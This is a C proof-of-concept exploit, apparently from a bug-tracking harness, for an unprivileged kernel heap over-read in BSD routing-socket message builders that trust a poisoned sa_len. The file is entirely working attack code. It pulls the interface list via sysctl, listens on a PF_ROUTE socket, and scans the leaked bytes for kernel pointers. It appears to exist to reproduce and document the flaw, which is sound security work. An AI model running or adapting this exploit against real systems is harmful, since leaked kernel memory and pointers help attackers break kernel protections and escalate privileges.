DF-3359 / rtleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | /* * DF-3359 -- rtsock builders trust producer sa_len for the SOURCE read. * * rt_msg_buffer() sys/net/rtsock.c:1140-1144: * dlen = RT_ROUNDUP(sa->sa_len); * bcopy(sa, cp, dlen); <-- source read of sa_len bytes * rt_msg_mbuf() sys/net/rtsock.c:1175-1180,1202-1206: * len += RT_ROUNDUP(sa->sa_len); ... m_copyback(m, len, dlen, sa); * plus sysctl_iflist / rttable_walk_entry consumers. * * The destination is sized from the same sa_len (no write overflow -- * that part is fine), but the SOURCE read is bounded by nothing but the * producer-set sa_len. When a producer persists a length larger than * its true allocation -- exactly what the DF-3320 setup does by planting * sin_len=200 into a live struct in_ifaddr (ia_addr at offset 312 of a * 360-byte heap object) -- every route-socket message built from that * ifaddr over-reads up to 184 bytes past the allocation and ships the * bytes to any PF_ROUTE listener. Unprivileged. * * This PoC runs as the UNPRIVILEGED user: * 1. sysctl NET_RT_IFLIST dump -> parse entries for lo0, find the * sa_len=200 sockaddr, print kernel-pointer candidates past * offset 48 (the true end of the in_ifaddr object). * 2. subscribe on a PF_ROUTE socket; the harness driver (root) then * pokes the alias (ifconfig lo0 -alias / alias) which triggers * RTM_NEWADDR/RTM_DELADDR built through rt_msg_buffer() with the * poisoned ia_addr -- the same over-read, event path. * * Build: cc -O -o rtleak rtleak.c * Run: ./rtleak (as nobody; waits 12s for the root poke) */ #include <sys/param.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <net/if.h> #include <net/route.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static void scan(const char *tag, unsigned char *p, int len) { int i, ptrs = 0; if (len < 16 || p[1] != AF_INET) { return; } if (p[0] < 17) { return; } /* only the poisoned entries */ printf("[%s] sa_len=%u family=%u addr=%s\n", tag, p[0], p[1], inet_ntoa(*(struct in_addr *)(p + 4))); printf(" candidate kernel pointers past offset 48 (object end):\n"); for (i = 48; i + 8 <= len; i += 8) { unsigned long long v; memcpy(&v, p + i, 8); if (v >= 0xffff800000000000ULL && (v & 7) == 0) { printf(" off %3d: 0x%016llx\n", i, v); ptrs++; } } if (!ptrs) printf(" (none in this copy)\n"); } int main(void) { /* ---- 1. NET_RT_IFLIST dump (sysctl_iflist -> rt_msg_buffer path) ---- */ int mib[6] = { CTL_NET, PF_ROUTE, 0, 0, NET_RT_IFLIST, 0 }; size_t len = 0; if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0) { perror("sysctl size"); return 1; } unsigned char *buf = malloc(len); if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) { perror("sysctl iflist"); return 1; } unsigned char *cp = buf; unsigned char *ep = buf + len; int poisoned = 0; while (cp < ep) { struct rt_msghdr *rtm = (struct rt_msghdr *)cp; if (rtm->rtm_msglen == 0) break; int hlen = rtm->rtm_msglen; /* walk the sockaddrs after the header */ unsigned char *sap = cp + (rtm->rtm_type == RTM_IFINFO ? sizeof(struct if_msghdr) : sizeof(struct ifa_msghdr)); unsigned char *saend = cp + hlen; while (sap + 2 < saend) { u_char sl = sap[0]; if (sl == 0) break; if (sl > 16) { scan("IFLIST", sap, sl); poisoned++; } sap += RT_ROUNDUP(sl); } cp += hlen; } printf("NET_RT_IFLIST: %d poisoned (sa_len>16) sockaddr(s) found\n\n", poisoned); /* ---- 2. live PF_ROUTE listener for RTM_NEWADDR/DELADDR ---- */ int rs = socket(PF_ROUTE, SOCK_RAW, 0); if (rs < 0) { perror("PF_ROUTE"); return 1; } printf("listening on PF_ROUTE for 12s (driver will poke lo0 alias)...\n"); fflush(stdout); struct timeval tv = { 12, 0 }; setsockopt(rs, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); char rbuf[8192]; int events = 0; for (;;) { ssize_t n = read(rs, rbuf, sizeof(rbuf)); if (n <= 0) break; /* timeout */ struct rt_msghdr *rtm = (struct rt_msghdr *)rbuf; if (rtm->rtm_type != RTM_NEWADDR && rtm->rtm_type != RTM_DELADDR) continue; events++; unsigned char *sap = rbuf + sizeof(struct ifa_msghdr); unsigned char *saend = rbuf + rtm->rtm_msglen; while (sap + 2 < saend) { u_char sl = sap[0]; if (sl == 0) break; if (sl > 16) scan(rtm->rtm_type == RTM_NEWADDR ? "NEWADDR" : "DELADDR", sap, sl); sap += RT_ROUNDUP(sl); } } printf("PF_ROUTE events with poisoned sockaddr: %d\n", events); if (poisoned || events) { printf("VERDICT: REPRODUCED -- rtsock builders copied " "sa_len bytes from an allocation smaller than sa_len and " "delivered them to an unprivileged listener\n"); return (0); } printf("VERDICT: not reproduced\n"); return (1); } |